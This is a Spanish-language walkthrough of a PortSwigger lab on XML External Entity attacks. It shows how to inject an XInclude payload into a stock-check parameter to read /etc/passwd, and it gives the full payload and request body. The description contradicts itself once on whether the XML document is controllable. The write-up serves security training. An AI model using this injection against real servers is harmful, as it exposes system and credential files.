Exploiting XInclude to retrieve files
Laboratorio de Portswigger sobre XXE
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio tiene una función de Check stock que inserta la entrada del usuario dentro de un documento XML en el servidor, el cual se procesa posteriormente. Dado que podemos controlar todo el documento XML, no podemos definir un DTD para lanzar un ataque XXE clásico. Para resolver el laboratorio, inyecta una declaración XInclude para obtener el contenido del archivo /etc/passwd
Guía de XXE
Antes de completar este laboratorio es recomendable leerse esta guía de XXE https://justice-reaper.github.io/posts/XXE-Guide/
Resolución
Al acceder a la web nos sale esto
Si pulsamos en View details veremos la descripción del artículo
Si pulsamos en Check stock y capturamos la petición con Burpsuite vemos que se están tramitando dos campos
Como no tenemos el control sobre el documento XML completo, no podemos cargar un DTD, sin embargo, podemos usar la función XInclude para cargar contenido
1
2
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
Enviamos este payload, este importante probar todos los campos para saber cual es el vulnerable
1
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
Obtenemos la respuesta del servidor, la cual nos muestra el /etc/passwd




